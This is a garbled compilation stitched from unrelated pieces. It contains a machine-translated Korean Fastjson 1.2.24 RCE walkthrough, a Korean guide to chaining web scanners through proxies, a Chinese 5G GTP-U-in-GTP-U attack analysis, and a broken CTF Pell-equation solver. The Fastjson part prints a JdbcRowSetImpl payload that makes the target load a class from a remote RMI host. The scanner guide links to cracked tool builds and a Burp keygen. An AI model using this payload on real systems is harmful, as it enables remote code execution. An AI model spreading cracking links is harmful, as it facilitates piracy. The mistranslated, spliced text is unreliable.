함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다. 익스플로잇은 다음과 같습니다. { "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true} 1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다. FastJSON DETECTION 버전 1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다. 2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다. 3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다. CVE-2017-18349 FASTJSON 1.2.24-RCE 0x00 소개 Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다. 0x01 취약성 개요 JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다. 0x02는 버전에 영향을 미칩니다 영향 범위 : FastJson=1.2.24 0x03 환경 구성 CD /VULHUB/FASTJSON/1.2.24-RCE Docker -Compose Up -D 도커 PS Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다 http://192.168.200.16633608090/ JDK 버전 스위칭 취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오. dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지 APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지 dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오. JDK1.8을 다운로드하십시오 https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz 압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오. MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA

0x01 도구 사용 도구의 다운로드 주소 및 설치 방법은 각 도구를 도입 한 후에 배치됩니다. 필요한 경우 직접 다운로드 할 수 있습니다. 1.awvs 도구 AWVS 소개 : ACUNETIX 웹 취약점 스캐너 (AWVS)는 웹 응용 프로그램의 보안을 테스트하고 관리하는 데 사용되는 플랫폼입니다. 취약점을 위해 인터넷 또는 로컬 LAN을 자동으로 스캔하고 취약점을보고 할 수 있습니다. 액세스하고 HTTP/HTTPS 규칙에 따라 액세스 한 웹 사이트를 스캔 할 수 있습니다. 중소형 및 대기업을위한 고객, 직원, 공급 업체 및 기타 직원을위한 인트라넷, 외부 네트워크 및 웹 사이트. AWS는 SQL 주입 공격 취약점, XSS 크로스 사이트 스크립팅 취약점 등을 확인하여 웹 애플리케이션의 보안을 검토 할 수 있습니다. AWVS 기능 및 기능 : 1) 자동 클라이언트 스크립트 분석기, AJAX 및 Web2.0 응용 프로그램의 보안 테스트를 허용합니다. 2) 업계에서 가장 진보되고 심층적 인 SQL 주입 및 크로스 사이트 스크립팅 테스트 3) HTPP 편집기 및 HTTP 퍼지와 같은 고급 침투 테스트 도구 4) Visual Macro Recorder 5) CAPTHCA, 단일 시작 명령 및 2 요인 (2 요인) 검증 메커니즘이 포함 된 지원 페이지 6) 비자 PCI 준수보고를 포함한 풍부한보고 기능 7) 고속 멀티 스레드 스캐너는 수천 페이지를 쉽게 검색합니다 8) Intelligent Crawler는 웹 서버 유형 및 응용 프로그램 언어를 감지합니다. 9) Acunetix는 플래시 컨텐츠, 비누 및 Ajax를 포함한 웹 사이트를 검색하고 분석합니다. 10) 포트는 웹 서버를 스캔하고 서버에서 실행중인 네트워크 서비스에서 보안 검사를 수행합니다. 11) 웹 사이트 취약성 파일을 내보낼 수 있습니다 AWVS 도구 설치 자습서 주소 : https://blog.csdn.net/shandongjiushen/article/details/128377981 AWVS 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) 링크 : https://pan.baidu.com/s/1kayuhishgujozphx41cqsq 추출 코드 : QBE0 2. AppScan 도구 AppScan 소개 : AppScan은 보안 전문가 및 테스터를 위해 특별히 설계된 동적 응용 프로그램 보안 테스트 도구입니다. 이를 통해 사용자는보다 안전한 소프트웨어를 개발하고 개발 수명주기 후반에 비싼 취약점을 효과적으로 피할 수 있습니다. 이 소프트웨어에는 강력한 스캐닝 엔진이 내장되어있어 대상 응용 프로그램 및 테스트 취약점을 자동으로 크롤링 할 수 있으며, 테스트 결과는 우선 순위로 제시되므로 운영자가 문제를 더 빠르게 분류하고 가장 중요한 취약점을 가장 먼저 발견 할 수 있습니다. 동시에, AppScan은 사용자에게 명확하고 실현 가능한 수리 제안을 자동으로 제공하여 각 발견 된 문제를보다 쉽게 치료할 수 있습니다. 또한이 소프트웨어에는 웹 응용 프로그램, 웹 서비스 및 모바일 백엔드 테스트를 지원하는 포괄적 인 보안 테스트 제품군이 있으며 운영 기반의 독점 기술 및 수만 건의 내장 스캔을 사용하여 지속적으로 검사하여 웹 서비스 및 애플리케이션에 대한 위험 점검 및 평가가 파괴적인 보안 취약성을 방지 할 수 있습니다. AppScan 기능 소개 : 1) 활성 및 수동 스캐닝 AppScan은 활성 및 수동 스캐닝 기술을 지원합니다. 활성 스캐닝 모드에서 공격자의 동작을 시뮬레이션하고 악의적 인 요청을 보내고 공격 페이로드를 보내고 XSS (XSS), SQL 주입, CSRF (Cross-Site Requess) 등의 알려진 웹 취약점을 발견하여 수동 스캔 모드에서 APPSCAN은 응용 프로그램의 통신 및 인터랙션 프로세스, 분석 및 반응을보고, 그리고 반응 및 반응을보고, 및 반응 및 반응을 보게됩니다. 2) 웹 응용 프로그램 및 모바일 애플리케이션 스캔 지원 AppScan은 웹 애플리케이션 스캔 및 모바일 애플리케이션 보안 평가에 적합합니다. 웹 애플리케이션의 경우 AppScan은 XSS, SQL 주입, 민감한 정보 유출 등과 같은 일반적인 웹 취약점을 자동으로 발견하고 평가할 수 있습니다. 모바일 응용 프로그램의 경우 AppScan은 응용 프로그램의 이진 코드를 분석하고 응용 프로그램에서 취약성 및 보안 문제를 발견 할 수 있습니다. 3) 침투 테스트 지원 AppScan은 침투 테스트 지원을 제공합니다. 즉, 취약성 스캔 도구 일뿐 만 아니라 테스트를위한 실제 공격을 시뮬레이션 할 수 있습니다. 침투 테스트는 복잡한 취약점 및 비즈니스 논리 문제에 대한 심층 테스트 기능을 감지하기 어려운 일부 취약점을 발견하는 데 도움이 될 수 있습니다. AppScan 도구 설치 자습서 주소 : https://blog.csdn.net/qq_39720249/article/details/121248901 AppScan 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) : https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba 추출 코드 : IME6 3. 야키 도구 Yakit 소개 : YAK는 네트워크 보안의 기본 기능 통합에 전념하는 세계 최초의 수직 개발 언어로 매우 강력한 보안 기능을 제공합니다. Yak은 대부분의 "데이터 설명 언어/컨테이너 언어"의 슈퍼 세트입니다. 모든 GO 기능 및 라이브러리 생태계, VSCODE 플러그인 등이 있습니다. 구문은 사용자 정의 가능합니다. 그것은 완전히 국내 튜링-완성 스크립팅 언어입니다. 포트 스캐닝, 지문 인식, POC 프레임 워크, 쉘 관리, MITM 납치, 강력한 플러그인 시스템 등을 포함하여 다양한 기본 보안 기능을 제공합니다. Yakit은 YAK 언어를 기반으로 개발 한 사이버 보안 개별 도구입니다. Yak 사용 형식으로 인해 사용자는 Yak 언어를 배우고 동시에 보안에 대한 특정 이해를 가져야합니다. Yak의 자체 보안 기능을 모든 사람이 쉽게 받아들이고 사용할 수 있도록하기 위해 Yak을위한 GRPC 서버를 작성하고 클라이언트를 구축했습니다. Yakit은 모든 사람이 인터페이스 GUI를 통해 Yak을 사용할 수있는 임계 값을 낮 춥니 다. Yakit 기능 (너무 많은 기능)에 대한 간단한 소개 : Yakit은 Yak 언어 보안 기능을위한 고도로 통합 된 출력 플랫폼입니다. Yakit을 사용하면 다음을 수행 할 수 있습니다. 1) Burpsuite와 유사한 MITM 납치 작업 테이블 2) 납치 된 모든 요청의 기록을보고 요청의 매개 변수를 분석합니다. 3) 세계 최초의 시각적 웹 퍼즐 도구 : 웹 퍼저 4) Yak Cloud Ide : 내장 된 스마트 프롬프트가있는 Yak Language Cloud IDE 5) ShellreCeiver : 리바운드 대화식 쉘 방지 연결을 받으려면 TCP 서버를 켜십시오. 6) 타사 야크 모듈 상점 : 커뮤니티 주도 타사 야크 모듈 플러그인, 원하는 모든 것이 있습니다. 7. Yakit 도구 설치 자습서 주소 : https://blog.csdn.net/m0_60045654/article/details/134645164 Yakit 도구 다운로드 주소 : https://yaklang.com/ 4. 버프 스위트 버프 스위트 소개 : Burp Suite는 웹 애플리케이션을 공격하기위한 통합 플랫폼입니다. Burp Suite는 웹 응용 프로그램을 공격하기위한 통합 플랫폼이며 많은 도구를 포함합니다. Burp Suite는 이러한 도구를위한 많은 인터페이스를 설계하여 응용 프로그램을 공격하는 프로세스를 가속화합니다. 모든 도구는 요청을 공유하며 해당 HTTP 메시지, 지속성, 인증, 프록시, 로그 및 경고를 처리 할 수 있습니다. Burp Suite 도구의 기능 소개 : 1) Target (Target) —— 대상 디렉토리 구조의 함수를 표시합니다. 2) 프록시 (프록시) ——는 HTTP/S 프록시 서버를 가로 채어 브라우저와 대상 응용 프로그램 사이의 중개자 역할을하여 원래 데이터 흐름을 양방향으로 가로 자르고,보기 및 수정할 수 있도록합니다. 3) Spider (Spider) ——는 지능형 감지 웹 크롤러를 사용하여 응용 프로그램의 내용과 기능을 완전히 열거 할 수 있습니다. 4) 스캐너 (스캐너) —— 고급 도구 실행 후 웹 애플리케이션에서 보안 취약점을 자동으로 발견 할 수 있습니다. 5) 침입자 (침입자) —— 열거 식별자, 유용한 데이터 수집 및 퍼지 기술을 사용하여 기존의 취약성을 감지하는 것과 같은 웹 애플리케이션을 자동화하는 맞춤형 고도로 구성 가능한 도구. 6) 리피터 (리피터) —— 별도의 HTTP 요청을 트리거하고 응용 프로그램 응답을 분석하기 위해 수동 작업에 의존하는 도구. 7) 시퀀서 (세션) ——는 예측할 수없는 애플리케이션 세션 토큰 및 중요한 데이터 항목의 무작위성을 분석하는 데 사용되는 도구입니다. 8) 디코더 (디코더) ——는 수동 실행 또는 지능적으로 디코딩 및 인코딩 응용 프로그램 데이터 사용자를위한 도구입니다. 9) 비교 (비교) ——는 일반적으로 일부 관련 요청 및 응답을 통해 두 데이터의 시각적 '차이'를 얻습니다. 10) Extender (Extension) ——를 사용하면 Burp Suite Extensions를로드하고 자체 또는 타사 코드를 사용하여 Burp Suite의 기능을 확장 할 수 있습니다. 11) 옵션 (설정) —— BURP 제품군의 일부 설정 BURP Suite Tool 설치 자습서 주소 : https://Blog.csdn.net/m0_60045654/article/details/134645164 버프 스위트 도구 항아리 균열 패키지 : ** https://link.zhihu.com/? target=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar 버프 스위트 도구 다운로드 주소 : https://link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/ 5. Xray Xray 도구 소개 : Xray는 변경 기술에 의해 시작된 강력한 보안 평가 도구입니다. 많은 경험이 풍부한 최전선 보안 실무자들에 의해 만들어졌습니다. 활성 및 수동 스캔 방법을 지원하고 Windows, Linux 및 MACOS와 같은 여러 운영 체제를 지원하며 사용자 정의 POC를 지원합니다. 대상 웹 사이트에서 취약성을 빠르게 감지 할 수 있습니다. 기존 수동 취약성 스캔과 비교하여 Xray는 다음과 같은 장점이 있습니다. 1. 수동 작동의 시간과 에너지를 줄이는 높은 수준의 자동화; 2. 여러 취약성 유형의 스캔을 지원합니다. 3. 분산 배치 지원; 4. 웹 인터페이스 관리를 지원합니다. Xray Function 소개 : POC 프레임 워크에는 기본적으로 GitHub에 POC가 내장되어 있으며 사용자는 필요에 따라 스스로 빌드 및 실행할 수도 있습니다. 현재 지원되는 취약성 감지 유형은 : 1) XSS 취약성 감지 (key: XSS) 2) SQL 주입 감지 (key: SQLDET) 3) 명령/코드 주입 감지 (key: CMD 주입) 4) 디렉토리 열거 (Key: Dirscan) 5) 경로 교차 감지 (key: 경로 변환) 6) XML 엔티티 주입 감지 (key: XXE) 7) 파일 업로드 감지 (key: 업로드) 8) 약한 비밀번호 감지 (key: Brute-Force) 9) JSONP 감지 (key: JSONP) 10) SSRF 감지 (key: SSRF) 11) 기준선 검사 (Key: 기준선) 12) 임의의 점프 감지 (key: 리디렉션) 13) CRLF 주입 (key: CRLF-injection) 14) Struts2 시리즈 취약성 감지 (Advanced Edition, Key: Struts) 15) ThinkPhp 시리즈 취약성 감지 (고급 버전, Key: ThinkPhp) 16) Xstream 시리즈 취약성 감지 (key: Xstream) 17) POC 프레임 워크 (key: pantasm) Xray 도구 설치 자습서 주소 : https://blog.csdn.net/weixin_52244272/article/details/132278409 XRAY11 도구 크랙 버전 다운로드 주소 : https://pan.baidu.com/s/1N5LQESVXPK_CGBS7JMFKDA?pwd=AMLJ 추출 코드 : AMLJ 0x02 도구 연결 대상 웹 사이트에서 취약점을 자동으로 스캔하기 위해 5 개의 도구를 연결하기 시작하십시오. 1. AppScan 도구 연결 준비 를 설정하십시오 AppScan 도구 인터페이스를 열고 New-Scan Web Service-Next를 선택하십시오. 선택-AppScan이 포트를 자동으로 선택하게하십시오 (여기에서 선택한 포트 및 주소는 AWVS 에이전트가 듣는 주소 및 포트입니다)-로컬-다른 연결 설정을 구성해야합니다. 다음 단계 선택 -사용자 정의 프록시 설정 -Address : 127.0.0.1 -포트 : 8083 (여기서 프록시 주소 및 포트 세트는 Yakit의 프록시 청취 주소입니다) --next. 설정할 필요가 없습니다. 다음에 가십시오. 설정하지 않고 다음 단계로 이동하여 마감을 클릭하십시오. 외부 트래픽 레코더를 받고 트래픽이 전달 될 때까지 기다릴 때까지 기다리십시오. 2. Yakit 도구 연결 준비 를 설정하십시오 Yakit 도구 을 시작하십시오 임시 프로젝트 을 엽니 다 침투 테스트 도구-MIMT 대화식 납치 를 선택하십시오 Yakit에는 기본적으로 15 개의 스캔 플러그인이 다운로드된다는 점을 언급하겠습니다. 보다 포괄적 인 수동 스캔 취약점을 원한다면 플러그인 스토어로 이동하여 필요한 플러그인을 다운로드 할 수 있습니다. 한 번의 클릭으로 모든 플러그인을 다운로드 할 수 있지만 스캔은 매우 느립니다. 필요한 것들 중 일부를 다운로드하십시오. Mimt Interactive 납치로 돌아가 도리 하시도 에이전트 청취 호스트를 설정하십시오. 127.0.0.1, 납치 에이전트 청취 포트는 다음과 같습니다. 플러그인 활성화를 선택하고 왼쪽에서 플러그인을 설정하여 모두를 선택하고 설정 후 구성없는 시작을 선택하십시오 (구성이없는 시작을 선택하는 것이 가장 좋습니다. 그렇지 않으면 Burp Suite 도구를 연결할 때 트래픽이 통과 할 수 없습니다). 나중에 스캔 한 취약점은 여기에 로 표시됩니다 3. Buro Suite Tool 에 대한 연결 준비를 설정하십시오 Burp Suite Tool을 열고-Temporary Project --next를 선택하십시오. Burp Suite -next의 기본값을 사용하십시오. 설정 를 선택하십시오 프록시를 설정하면 바인딩 프록시 포트는 8080이며 바인딩 주소는 다음과 같습니다. 루프백 만 (프록시 청취 주소 및 포트 세트는 Yakit에서 설정 한 다운 스트림 프록시 주소입니다). Burp Suite의 상류 프록시를 설정하고 대상 호스트는 다음과 같습니다. * (모든 대상 호스트가 허용됨), 프록시 호스트는 다음과 같습니다. 127.0.0.1, 프록시 포트는 7777입니다. 실시간 작업 추가 프록시 를 통과하는 모든 트래픽을 수동적으로 스캔하십시오. 내장 된 스캔 동작을 편집합니다. 스캔 유형을 설정하고, 모두를 선택하고, 화력을 켜고, 저장을 클릭하십시오. 확인을 클릭하고 수동 스캔을 설정하십시오. 4. Xray 도구 연결 준비 을 설정하십시오 Xray를 사용하여 포트 127.0.0.133607777 (여기서 듣는 포트는 Burp Suite에서 설정 한 업스트림 프록시), 수동적으로 취약성을 스캔하며 출력 취약점 123.html로 들어갑니다. 0x04 연결 테스트 연결 스캔 모든 준비가 진행 중이며 AWVS 도구를 첫 번째 액세스 스캔 대상 트래픽의 시작점으로 사용하십시오. 1. 인터셉트 트래픽 먼저 Yakit 및 Burp Suite의 트래픽을 납치하여 나중에 트래픽 추세를 볼 수 있습니다. 2. AWVS 스캐닝 대상을 설정하십시오 AWVS 스캔 대상을 설정하여 트래픽에 액세스하십시오. 스캔 대상을 추가하고 (이 대상은 승인되었습니다) 저장을 클릭하십시오.

5G開啟了傳統無線連接無法實現的前所未有的應用，幫助企業加速數字化轉型、降低運營成本，並最大限度地提高生產力，以獲得最佳投資回報。為了實現目標，5G依賴關鍵的服務類別：大規模機器類型通信（mMTC）、增強型移動寬帶（eMBB）和超可靠低延遲通信（uRLLC）。 隨著商用頻譜不斷增加，專用5G網絡的使用率和普及率也隨之提高。製造、國防、港口、能源、物流和採礦等行業只是這些專用網絡的早期採用者之一，特別是對於那些迅速依賴物聯網以實現生產系統和供應鏈數字化的公司。與公共電網不同，專用5G中的蜂窩基礎設施設備可能歸用戶企業、系統集成商或運營商擁有和運營。然而，鑑於針對使用5G開發各種技術的研究和探索越來越多，網絡犯罪分子也在考慮利用種種威脅和風險，企圖通過這種新的通信標準，入侵用戶和組織的系統和網絡。本文探討了普通用戶設備如何在5G網絡基礎設施和用例中被濫用。 5G拓撲結構在端到端5G蜂窩系統中，用戶設備（又名UE，比如移動電話和物聯網設備）通過無線電波連接到基站，基站則通過有線IP網絡連接到5G核心。 從功能上來說，5G核心可以分為兩個平面：控制平面和用戶平面。在網絡中，控制平面承載信號，並根據流量從一個端點到另一個端點的交換方式為流量傳輸提供方便。同時，用戶平面負責連接和處理通過無線局域網（RAN）傳輸的用戶數據。 基站發送與設備連接相關的控制信號，並通過NGAP（下一代應用協議）與控制平面建立連接。來自設備的用戶流量使用GTP-U（GPRS隧道協議用戶平面）發送到用戶平面。數據流量從用戶平面路由傳輸到外部網絡。 圖1. 基本的5G網絡基礎設施 UE子網與基礎設施網絡相互分離、隔離，不允許用戶設備訪問基礎設施組件。這種隔離有助於保護5G核心免受來自用戶設備的CT（蜂窩技術）協議攻擊。 有沒有辦法繞過這種隔離、攻擊5G核心呢？接下來的章節將詳細介紹網絡犯罪分子如何可以濫用5G基礎設施的組件、尤其是GTP-U。 GTP-UGTP-U是一種隧道協議，存在於基站和5G用戶平面之間，使用端口2152。下面是用GTP-U封裝的用戶數據分組結構。 圖2. GTP-U數據分組 GTP-U隧道分組是通過將報頭附加到原始數據分組而形成的。添加的報頭由UDP（用戶數據報協議）傳輸報頭和GTP-U特有的報頭組成。 GTP-U報頭則由以下字段組成： • 標誌：這包含版本及其他信息（比如表明是否存在可選的報頭字段等信息）。 • 消息類型：對於承載用戶數據的GTP-U分組而言，消息類型為0xFF。 • 長度：這是隧道端點標識符（TEID）字段之後的所有內容的長度（以字節為單位）。 • TEID：隧道的獨特值，用於將隧道映射到用戶設備。 GTP-U報頭由GTP-U節點（基站和用戶平面功能即UPF）添加。然而，用戶無法在設備的用戶界面上看到報頭。因此，用戶設備無法操縱報頭字段。 雖然GTP-U是一種標準的隧道技術，但其使用主要局限於基站和UPF之間或UPF和UPF之間的CT環境。假設在理想場景下，基站和UPF之間的回程經過加密，受到防火牆保護，並且不允許外部訪問。下面詳述這種理想場景：GSMA建議在基站和UPF之間使用IP安全（IPsec）。在這種場景下，到達GTP-U節點的分組只來自授權的設備。如果這些設備遵循規範並合理實施，它們不會發送異常分組。此外，可靠的系統應該有強大的完整性檢查機制，以處理接收到的異常信息，特別是明顯的異常信息，比如無效的長度、類型和擴展等。 然而在現實中，場景可能往往不同，需要完全不同的分析。運營商不願意在N3接口上部署IPsec，因為它耗用大量CPU資源，降低了用戶流量的吞吐量。此外，由於用戶數據被認為在應用層受到保護（借助額外協議，比如TLS即傳輸層安全），一些人認為IP安全是多餘的。有人可能認為，只要基站和分組-核心符合具體要求，就不會出現異常情況。此外，有人可能還認為，對於所有可靠的系統而言，都需要進行完整性檢查，以發現任何明顯的異常。然而之前的研究表明，全球各地的許多N3節點（比如UPF）暴露在互聯網上，儘管不應該如此。這將在以下的章節中介紹。 圖3. 因配置錯誤或缺少防火牆而暴露的UPF接口，截圖來自Shodan，並用於之前發表的研究結果 我們討論了兩個可以使用CVE-2021-45462利用GTP-U的概念。在Open5GS這種面向5G核心和進化分組核心（EPC）的C語言開源實現中，從用戶設備發送零長度、類型=255的GTP-U分組導致了UPF遭到拒絕服務（DoS）。這是CVE-2021-45462，分組核心中的這個安全漏洞可以通過從用戶設備製作的異常GTP-U分組，並通過在GTP-U中發送該異常GTP-U分組，導致UPF（5G中）或服務網關用戶平面功能（4G/LTE中的SGW-U）崩潰。鑑於該漏洞影響基礎設施的關鍵組件，並且無法輕易解決，該漏洞的嚴重性等級為中到高。 GTP-U節點：基站和UPFGTP-U節點是對GTP-U分組進行封裝和解封裝的端點。基站是用戶設備端上的GTP-U節點。基站從UE接收用戶數據時，將數據轉換成IP分組，並在GTP-U隧道中封裝。 UPF是5G核心端的GTP-U節點。當UPF接收到來自基站的GTP-U分組時，UPF對外部的GTP-U報頭進行解封裝，取出內部分組。 UPF不檢查內部分組的內容，直接查詢路由表（也由UPF維護）中的目的地IP地址，然後繼續發送分組。 GTP-U中的GTP-U如果用戶設備製作了一個異常的GTP-U分組，並將其發送到分組核心，會怎麼樣？ 圖4. 一個精心特製的異常GTP-U分組 圖5. 從用戶設備發送異常的GTP-U分組 果不其然，基站將把該數據包放入到其GTP-U隧道中，發送給UPF。這導致GTP-U分組中的GTP-U到達UPF。 UPF中現在有兩個GTP-U分組：外部GTP-U分組報頭由基站創建的，用於封裝來自用戶設備的數據分組。這個外部GTP-U分組的消息類型為0xFF，長度為44。這個報頭是正常的。內部GTP-U報頭由用戶設備製作並作為數據分組來發送。與外部GTP-U分組一樣，這個內部GTP-U分組的消息類型為0xFF，但長度0不正常。 內部分組的源IP地址屬於用戶設備，而外部分組的源IP地址屬於基站。內部分組和外部分組的目的地IP地址一樣：都是UPF的目的地IP地址。 UPF對外部GTP-U進行解封裝，並通過功能檢查。內部GTP-U分組的目的地還是同樣的UPF。接下來發生的事情因實現方法而異： • 一些實現維護用於分組遍歷的狀態機。狀態機的不正確實現可能導致處理這個內部GTP-U分組。該分組可能已經通過了檢查階段，因為它與外部分組擁有相同的分組上下文。這導致系統內部有一個異常分組通過完整性檢查。 • 由於內部分組的目的地是UPF本身的IP地址，因此分組可能被發送到UPF。在這種情況下，分組很可能會通過功能檢查，因此問題不如前一種情況來得嚴重。 攻擊途徑一些5G核心供應商利用Open5GS代碼。比如說，NextEPC（4G系統，2019年更名為Open5GS以添加5G，剩餘產品來自舊品牌）提供了面向LTE/5G的企業版，借鑒了Open5GS的代碼。沒有觀察到外頭有任何攻擊或威脅跡象，但我們的測試使用已確定的場景表明存在潛在風險。 攻擊的重要性在於攻擊途徑：來自UE的蜂窩基礎設施攻擊。利用該漏洞只需要一部移動電話（或通過蜂窩加密狗連接的計算機）和幾行Python代碼，就可以濫用該缺口，並發動這類攻擊。 GTP-U中的GTP-U攻擊是一種眾所周知的技術，回程IP安全和加密無法阻止這種攻擊。事實上，這些安全措施可能會阻礙防火牆檢查內容。 補救和心得醫療和電力等關鍵行業只是專用5G系統的早期採用者之一，5G廣泛使用的廣度和深度只會與日俱增。對於這些行業來說，確保持續不間斷運作的可靠性至關重要，因為這關係到千萬條生命和實際影響。這些行業的性質決定了它們選擇使用專用5G系統，而不是Wi-Fi。專用5G系統必須提供持久的連接，因為對任何5G基礎設施的攻擊得逞都可能導致整個網絡癱瘓。 在本文中，濫用CVE-2021-45462可能導致DoS攻擊。 CVE-2021-45462（以及大多數GTP-U中的GTP-U攻擊）的根本原因是分組核心中的錯誤檢查和錯誤處理不當。雖然GTP-U-中的GTP-U本身無害，但修復這個漏洞的適當措施必須來自分組核心供應商，而基礎設施管理員必須使用最新版本的軟件。 GTP-U中的GTP-U攻擊還可以用於洩露敏感信息，比如基礎設施節點的IP地址。因此，GTP-U對等體應該準備好處理GTP-U中的GTP-U分組。在CT環境下，它們應該使用能夠理解CT協議的入侵防禦系統（IPS）或防火牆。由於GTP-U不是正常的用戶流量，特別是在專用5G中，安全團隊可以優先考慮並丟棄GTP-U中的GTP-U流量。 一般來說，SIM卡的註冊和使用必須嚴格加以規範和管理。擁有被盜SIM卡的攻擊者可以將其插入攻擊者的設備，連接到網絡部署惡意軟件。此外，對於採用共享操作模式的一些人來說，安全責任可能很模糊，比如企業擁有的基礎設施鏈的終端設備和邊緣。同時，蜂窩基礎設施歸集成商或運營商所有。這給安全運營中心（SOC）帶來了一項艱鉅的任務：將來自不同領域和解決方案的相關信息整合在一起。 此外，由於需要停機和測試，定期更新關鍵基礎設施軟件以跟上供應商的補丁並不容易，也永遠不會容易。因此，強烈建議使用IPS打虛擬補丁或採用分層防火牆。幸好，GTP中的GTP很少在實際應用中使用，因此可以完全阻止所有GTP中的GTP流量。我們建議使用結合IT和通信技術（CT）安全性和可視性的分層安全解決方案。實施零信任解決方案，為企業和關鍵行業增加另一層安全，以防止未經授權使用專用網絡，以實現連續不中斷的工業生態系統，並確保SIM卡只能從授權設備上使用。

1. 데이터 보안 질문 1 .as 예와 질문을보고 쓰기 Exp def pell_recurrence (x1, y1, x, y, d) : x_next=x1 * x + d * y1 * y y_next=x1 * y + y1 * x x_next, y_next를 반환합니다 #믿다 def generate_until_threshold (x1, y1, d, 임계 값) : x, y=1, 0 솔루션=[(x, y)] 반복=0 True: x, y=pell_recurrence (x1, y1, x, y, d) 반복 +=1 Solutions.Append ((X, Y)) x 임계 값과 y 임계 값인 경우 부서지다 반품 솔루션, 반복, (x, y) ################################################### #######################################################################################YOUMYYM def main () : D=42232 X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200 임계 값=2 **0x149f 솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값) print (f 'x={last_solution [0]}') print (f 'y={last_solution [1]}') n1=(Last_Solution [0] -1) //2 n2=last_solution [1] 인쇄 (N1) 인쇄 (N2) __name__=='__ 메인 __': 인 경우 main () N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000 N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600 NC 연결 제출 username3:admin-jm password:jm001x를 얻으십시오! FLAG: MD5 (admin-JM+JM001X!) 또는: #SAGE 9.5 crypto.util.number import *에서 * PWN 가져 오기 * SYS 가져 오기 sys.set_int_max_str_digits (0) DEF 상호 작용 (IO, X, Y) : io.recvuntil (b': ') io.sendline (b'2 ') io.recvuntil (b'n1 ~ ') io.sendline (str (x) .encode ()) io.recvuntil (b'n2 ~ ') io.sendline (str (y) .encode ()) io.recvline () 반환 io.recvline () D=42232 Check=2 **0x149f def solve_pell (n) : 